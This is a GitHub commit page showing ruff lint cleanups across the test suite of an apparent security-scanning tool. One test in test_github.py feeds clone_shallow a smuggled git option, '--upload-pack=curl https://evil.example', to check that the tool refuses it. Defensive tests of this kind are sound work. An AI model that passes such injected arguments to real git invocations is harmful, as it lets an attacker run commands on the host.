Skip to content

Commit ceb457c

Browse files
RiccardoBifulcovsn411claude
authored
test: resolve ruff lint findings in tests/ (#194)
* test: resolve remaining ruff lint errors in tests/ * test: keep the module docstring and __future__ import first in test_memory.py Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> --------- Co-authored-by: aitechnology <40792067+vsn411@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
1 parent 4df485d commit ceb457c

8 files changed

Lines changed: 29 additions & 28 deletions

File tree

‎tests/test_memory.py‎

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
import sys
99
import urllib.error
1010
from io import BytesIO
11+
from typing import ClassVar
1112

1213
import pytest
1314

@@ -168,7 +169,7 @@ class _CapturingAdapter(AgentAdapter):
168169
name = "fake"
169170
binary = "fake-binary"
170171
default_timeout_seconds = 30
171-
prompts: list[str] = []
172+
prompts: ClassVar[list[str]] = []
172173

173174
def build_command(self, prompt, *, workdir):
174175
return ["fake-binary"]

‎tests/test_runner.py‎

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -636,7 +636,6 @@ def test_execute_runs_enriches_osv_cache_for_sca_reachability_runs(tmp_path, mon
636636

637637
def test_execute_runs_does_not_enrich_osv_for_non_sca_skills(tmp_path, monkeypatch):
638638
_patch_runner(monkeypatch, tmp_path)
639-
calls = []
640639
monkeypatch.setattr(
641640
"secfoo.osv.urllib.request.urlopen",
642641
lambda request, timeout=None: (_ for _ in ()).throw(AssertionError("must not call OSV for non-SCA skills")),

‎tests/test_storage/test_assessments.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -652,7 +652,7 @@ def test_architecture_coverage_in_scope_requires_an_assessment(tmp_path):
652652
repo = _repo(tmp_path)
653653
reviewed_project = repo.upsert_project("id-1", "Reviewed", "local")
654654
unreviewed_project = repo.upsert_project("id-2", "Unreviewed", "local")
655-
no_assessment_project = repo.upsert_project("id-3", "NoAssessment", "local")
655+
repo.upsert_project("id-3", "NoAssessment", "local")
656656

657657
repo.create_assessment(project_id=reviewed_project, assessment_type="internal", status="ready")
658658
repo.create_assessment(project_id=unreviewed_project, assessment_type="internal", status="ready")

‎tests/test_storage/test_structured_findings_storage.py‎

Lines changed: 8 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -43,10 +43,10 @@ def test_sca_finding_lifecycle_open_refresh_close(tmp_path):
4343
def test_secret_finding_reopens_and_keeps_first_seen(tmp_path):
4444
repo = RunRepository(db_path=tmp_path / "db.sqlite")
4545
project_id, run_id = _project_and_run(repo)
46-
kwargs = dict(
47-
project_id=project_id, fingerprint="s1", run_id=run_id, current_ref="S1", secret_type="API token",
48-
location_file="deploy/ci.yml", severity="High", evidence="TOKENJ4F...",
49-
)
46+
kwargs = {
47+
"project_id": project_id, "fingerprint": "s1", "run_id": run_id, "current_ref": "S1",
48+
"secret_type": "API token", "location_file": "deploy/ci.yml", "severity": "High", "evidence": "TOKENJ4F...",
49+
}
5050
repo.upsert_secret_finding(**kwargs)
5151
first_seen = repo.list_secret_findings()[0].first_seen_at
5252
repo.close_stale_findings(
@@ -112,8 +112,10 @@ def test_complete_run_records_memory_flag(tmp_path):
112112
untouched = repo.create_run(
113113
project_id=project_id, skill_id="sast", skill_name="SAST", agent_id="claude", confluence_urls=[]
114114
)
115-
common = dict(status="success", exit_code=0, duration_seconds=1.0, report_path=None, prompt_path=None,
116-
stderr_excerpt=None)
115+
common = {
116+
"status": "success", "exit_code": 0, "duration_seconds": 1.0,
117+
"report_path": None, "prompt_path": None, "stderr_excerpt": None,
118+
}
117119
repo.complete_run(on, memory_enabled=True, **common)
118120
repo.complete_run(off, memory_enabled=False, **common)
119121
repo.complete_run(untouched, **common)

‎tests/test_targets/test_github.py‎

Lines changed: 12 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -35,10 +35,9 @@ def fake_run(cmd, **kwargs):
3535
monkeypatch.setattr("secfoo.targets.github.subprocess.run", fake_run)
3636

3737
captured: dict[str, Path] = {}
38-
with pytest.raises(RuntimeError):
39-
with clone_shallow("https://github.com/org/repo") as path:
40-
captured["dir"] = path
41-
raise RuntimeError("boom")
38+
with pytest.raises(RuntimeError), clone_shallow("https://github.com/org/repo") as path:
39+
captured["dir"] = path
40+
raise RuntimeError("boom")
4241

4342
assert not captured["dir"].exists()
4443

@@ -49,9 +48,8 @@ def fake_run(cmd, **kwargs):
4948

5049
monkeypatch.setattr("secfoo.targets.github.subprocess.run", fake_run)
5150

52-
with pytest.raises(TargetResolutionError):
53-
with clone_shallow("https://github.com/org/nope"):
54-
pass
51+
with pytest.raises(TargetResolutionError), clone_shallow("https://github.com/org/nope"):
52+
pass
5553

5654

5755
def test_clone_shallow_surfaces_disk_full_with_actionable_message(monkeypatch):
@@ -64,16 +62,17 @@ def fake_run(cmd, **kwargs):
6462

6563
monkeypatch.setattr("secfoo.targets.github.subprocess.run", fake_run)
6664

67-
with pytest.raises(TargetResolutionError, match="disk full"):
68-
with clone_shallow("https://github.com/org/repo"):
69-
pass
65+
with pytest.raises(TargetResolutionError, match="disk full"), clone_shallow("https://github.com/org/repo"):
66+
pass
7067

7168

7269
def test_clone_shallow_refuses_a_non_github_url_without_calling_git(monkeypatch):
7370
monkeypatch.setattr(
7471
"secfoo.targets.github.subprocess.run",
7572
lambda *args, **kwargs: (_ for _ in ()).throw(AssertionError("git must not run")),
7673
)
77-
with pytest.raises(TargetResolutionError, match="refusing to clone"):
78-
with clone_shallow("--upload-pack=curl https://evil.example"):
79-
pass
74+
with (
75+
pytest.raises(TargetResolutionError, match="refusing to clone"),
76+
clone_shallow("--upload-pack=curl https://evil.example"),
77+
):
78+
pass

‎tests/test_web/test_activity_routes.py‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -279,11 +279,11 @@ def test_architecture_activity_page_shows_one_diagram_at_a_time_with_a_project_s
279279

280280

281281
def test_architecture_activity_page_diagram_selector_switches_on_query_param(client, tmp_path):
282-
_, run_a = _seed_run_with_report(
282+
_seed_run_with_report(
283283
tmp_path, skill_id="security-architecture-review", project_name="acme/app-a",
284284
report_text=ARCHITECTURE_REPORT,
285285
)
286-
project_b, run_b = _seed_run_with_report(
286+
project_b, _ = _seed_run_with_report(
287287
tmp_path, skill_id="security-architecture-review", project_name="acme/app-b",
288288
report_text=SECOND_ARCHITECTURE_REPORT,
289289
)

‎tests/test_web/test_routes.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -66,7 +66,7 @@ def test_overview_empty_state(client):
6666

6767

6868
def test_overview_lists_recent_assessment(client, tmp_path):
69-
project_id, run_uuid = _seed_run(tmp_path)
69+
project_id, _ = _seed_run(tmp_path)
7070
repo = RunRepository()
7171
repo.create_assessment(project_id=project_id, assessment_type="internal", status="ready")
7272
repo.close()

‎tests/test_web/test_sast_finding_route.py‎

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -101,7 +101,7 @@ def test_sast_findings_list_shows_open_findings_by_default(client):
101101

102102

103103
def test_sast_findings_list_closed_tab_shows_closed_findings(client):
104-
project_id, fingerprint = _seed_finding()
104+
project_id, _ = _seed_finding()
105105
repo = RunRepository()
106106
repo.close_stale_sast_findings(
107107
project_id=project_id, run_id=1, seen_fingerprints=[], closed_at="2026-08-22T00:00:00Z"
@@ -125,8 +125,8 @@ def test_sast_findings_list_search_filters_findings(client):
125125

126126

127127
def test_sast_findings_list_filters_by_project(client):
128-
project_a, fp_a = _seed_finding(project_name="acme/app-a", fingerprint="fp-a", title="Finding in app A")
129-
project_b, fp_b = _seed_finding(project_name="acme/app-b", fingerprint="fp-b", title="Finding in app B")
128+
project_a, _ = _seed_finding(project_name="acme/app-a", fingerprint="fp-a", title="Finding in app A")
129+
_seed_finding(project_name="acme/app-b", fingerprint="fp-b", title="Finding in app B")
130130

131131
resp = client.get(f"/activities/sast/findings?project_id={project_a}")
132132
assert "Finding in app A" in resp.text

0 commit comments

Comments
 (0)